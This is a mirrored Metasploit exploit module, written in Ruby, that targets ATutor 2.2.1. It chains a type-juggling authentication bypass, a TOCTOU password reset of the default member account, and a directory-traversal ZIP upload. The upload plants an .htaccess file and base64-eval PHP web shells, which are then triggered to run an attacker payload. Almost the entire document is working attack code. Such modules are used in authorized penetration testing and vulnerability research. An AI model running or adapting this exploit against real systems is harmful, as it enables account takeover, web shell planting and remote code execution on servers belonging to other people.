CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/atutor_filemanager_traversal.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
17
'Description' => %q{
18
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
19
setup with display_errors set to On, which can be used to allow us to upload a malicious
20
ZIP file. On the web application, a blacklist verification is performed before extraction,
21
however it is not sufficient to prevent exploitation.
22
23
You are required to login to the target to reach the vulnerability, however this can be
24
done as a student account and remote registration is enabled by default.
25
26
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
27
in order to bypass the authentication:
28
29
1. confirm.php Authentication Bypass Type Juggling vulnerability
30
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
31
},
32
'License' => MSF_LICENSE,
33
'Author' =>
34
[
35
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
36
],
37
'References' =>
38
[
39
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
40
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
41
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
42
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
43
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
44
],
45
'Privileged' => false,
46
'Payload' =>
47
{
48
'DisableNops' => true
49
},
50
'Platform' => ['php'],
51
'Arch' => ARCH_PHP,
52
'Targets' => [[ 'Automatic', {}]],
53
'DisclosureDate' => '2016-03-01',
54
'DefaultTarget' => 0
55
)
56
)
57
58
register_options(
59
[
60
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
61
OptString.new('USERNAME', [false, 'The username to authenticate as']),
62
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
63
]
64
)
65
end
66
67
def post_auth?
68
true
69
end
70
71
def print_status(msg = '')
72
super("#{peer} - #{msg}")
73
end
74
75
def print_error(msg = '')
76
super("#{peer} - #{msg}")
77
end
78
79
def print_good(msg = '')
80
super("#{peer} - #{msg}")
81
end
82
83
def check
84
# there is no real way to finger print the target so we just
85
# check if we can upload a zip and extract it into the web root...
86
# obviously not ideal, but if anyone knows better, feel free to change
87
unless datastore['USERNAME'] && datastore['PASSWORD']
88
# if we cant login, it may still be vuln
89
return Exploit::CheckCode::Unknown 'Check requires credentials. The target may still be vulnerable. If so, it may be possible to bypass authentication.'
90
end
91
92
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check = true)
93
if !student_cookie.nil? && disclose_web_root
94
begin
95
if upload_shell(student_cookie, check = true) && found
96
return Exploit::CheckCode::Vulnerable
97
end
98
rescue Msf::Exploit::Failed => e
99
vprint_error(e.message)
100
end
101
end
102
return Exploit::CheckCode::Unknown
103
end
104
105
def create_zip_file(check = false)
106
zip_file = Rex::Zip::Archive.new
107
@header = Rex::Text.rand_text_alpha_upper(4)
108
@payload_name = Rex::Text.rand_text_alpha_lower(4)
109
@archive_name = Rex::Text.rand_text_alpha_lower(3)
110
@test_string = Rex::Text.rand_text_alpha_lower(8)
111
# we traverse back into the webroot mods/ directory (since it will be writable)
112
path = "../../../../../../../../../../../../..#{@webroot}mods/"
113
114
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
115
# we will win. If not, we may still win because these file extensions are often registered as php
116
# with the webserver, thus allowing us remote code execution.
117
if check
118
zip_file.add_file("#{path}#{@payload_name}.txt", @test_string.to_s)
119
else
120
register_file_for_cleanup('.htaccess', "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
121
zip_file.add_file("#{path}.htaccess", 'AddType application/x-httpd-php .phtml .php4 .pht')
122
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
123
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
124
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
125
end
126
zip_file.pack
127
end
128
129
def found
130
res = send_request_cgi({
131
'method' => 'GET',
132
'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.txt")
133
})
134
if res && (res.code == 200) && res.body =~ /#{@test_string}/
135
return true
136
end
137
138
return false
139
end
140
141
def disclose_web_root
142
res = send_request_cgi({
143
'method' => 'GET',
144
'uri' => normalize_uri(target_uri.path, 'jscripts', 'ATutor_js.php')
145
})
146
@webroot = '/'
147
@webroot << Regexp.last_match(1) if res && res.body =~ %r{\<b\>/(.*)jscripts/ATutor_js\.php\</b\> }
148
if @webroot != '/'
149
return true
150
end
151
152
return false
153
end
154
155
def call_php(ext)
156
res = send_request_cgi({
157
'method' => 'GET',
158
'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.#{ext}"),
159
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
160
}, timeout = 0.1)
161
return res
162
end
163
164
def exec_code
165
res = call_php('pht')
166
unless res
167
res = call_php('phtml')
168
unless res
169
call_php('php4')
170
end
171
end
172
end
173
174
def upload_shell(cookie, check)
175
post_data = Rex::MIME::Message.new
176
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
177
post_data.add_part(Rex::Text.rand_text_alpha_upper(4).to_s, nil, nil, 'form-data; name="submit_import"')
178
data = post_data.to_s
179
res = send_request_cgi({
180
'uri' => normalize_uri(target_uri.path, 'mods', '_standard', 'tests', 'question_import.php'),
181
'method' => 'POST',
182
'data' => data,
183
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
184
'cookie' => cookie,
185
'vars_get' => {
186
'h' => ''
187
}
188
})
189
if res && res.code == 302 && res.redirection.to_s.include?('question_db.php')
190
return true
191
end
192
193
# unknown failure...
194
fail_with(Failure::Unknown, 'Unable to upload php code')
195
return false
196
end
197
198
def find_user(cookie)
199
res = send_request_cgi({
200
'method' => 'GET',
201
'uri' => normalize_uri(target_uri.path, 'users', 'profile.php'),
202
'cookie' => cookie,
203
# we need to set the agent to the same value that was in type_juggle,
204
# since the bypassed session is linked to the user-agent. We can then
205
# use that session to leak the username
206
'agent' => ''
207
})
208
username = Regexp.last_match(1).to_s if res && res.body =~ %r{<span id="login">(.*)</span>}
209
if username
210
return username
211
end
212
213
# else we fail, because we dont know the username to login as
214
fail_with(Failure::Unknown, 'Unable to find the username!')
215
end
216
217
def type_juggle
218
# high padding, means higher success rate
219
# also, we use numbers, so we can count requests :p
220
for i in 1..8
221
for @number in ('0' * i..'9' * i)
222
res = send_request_cgi({
223
'method' => 'POST',
224
'uri' => normalize_uri(target_uri.path, 'confirm.php'),
225
'vars_post' => {
226
'auto_login' => '',
227
'code' => '0' # type juggling
228
},
229
'vars_get' => {
230
'e' => @number, # the bruteforce
231
'id' => '',
232
'm' => '',
233
# the default install script creates a member
234
# so we know for sure, that it will be 1
235
'member_id' => '1'
236
},
237
# need to set the agent, since we are creating x number of sessions
238
# and then using that session to get leak the username
239
'agent' => ''
240
}, redirect_depth = 0) # to validate a successful bypass
241
if res && (res.code == 302)
242
cookie = "ATutorID=#{Regexp.last_match(3)};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
243
return cookie
244
end
245
end
246
end
247
# if we finish the loop and have no sauce, we cant make pasta
248
fail_with(Failure::Unknown, 'Unable to exploit the type juggle and bypass authentication')
249
end
250
251
def reset_password
252
# this is due to line 79 of password_reminder.php
253
days = (Time.now.to_i / 60 / 60 / 24)
254
# make a semi strong password, we have to encourage security now :->
255
pass = Rex::Text.rand_text_alpha(32)
256
hash = Rex::Text.sha1(pass)
257
res = send_request_cgi({
258
'method' => 'POST',
259
'uri' => normalize_uri(target_uri.path, 'password_reminder.php'),
260
'vars_post' => {
261
'form_change' => 'true',
262
# the default install script creates a member
263
# so we know for sure, that it will be 1
264
'id' => '1',
265
'g' => days + 1, # needs to be > the number of days since epoch
266
'h' => '', # not even checked!
267
'form_password_hidden' => hash, # remotely reset the password
268
'submit' => 'Submit'
269
}
270
}, redirect_depth = 0) # to validate a successful bypass
271
272
if res && (res.code == 302)
273
return pass
274
end
275
276
# if we land here, the TOCTOU failed us
277
fail_with(Failure::Unknown, 'Unable to exploit the TOCTOU and reset the password')
278
end
279
280
def login(username, password, check = false)
281
hash = Rex::Text.sha1(Rex::Text.sha1(password))
282
res = send_request_cgi({
283
'method' => 'POST',
284
'uri' => normalize_uri(target_uri.path, 'login.php'),
285
'vars_post' => {
286
'form_password_hidden' => hash,
287
'form_login' => username,
288
'submit' => 'Login',
289
'token' => ''
290
}
291
})
292
# poor php developer practices
293
cookie = "ATutorID=#{Regexp.last_match(4)};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
294
if res && res.code == 302
295
if res.redirection.to_s.include?('bounce.php?course=0')
296
return cookie
297
end
298
end
299
# auth failed if we land here, bail
300
unless check
301
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
302
end
303
return nil
304
end
305
306
def exploit
307
# login if needed
308
if datastore['USERNAME'] && datastore['PASSWORD']
309
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
310
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
311
print_good("Logged in as #{datastore['USERNAME']}")
312
# else, we reset the students password via a type juggle vulnerability
313
else
314
print_status('Account details are not set, bypassing authentication...')
315
print_status('Triggering type juggle attack...')
316
student_cookie = type_juggle
317
print_good("Successfully bypassed the authentication in #{@number} requests !")
318
username = find_user(student_cookie)
319
print_good("Found the username: #{username} !")
320
password = reset_password
321
print_good("Successfully reset the #{username}'s account password to #{password} !")
322
report_cred(user: username, password: password)
323
student_cookie = login(username, password)
324
print_good("Logged in as #{username}")
325
end
326
327
if disclose_web_root
328
print_good('Found the webroot')
329
# we got everything. Now onto pwnage
330
if upload_shell(student_cookie, false)
331
print_good('Zip upload successful !')
332
exec_code
333
end
334
end
335
end
336
end
337
338
def service_details
339
super.merge({ post_reference_name: refname })
340
end
341
342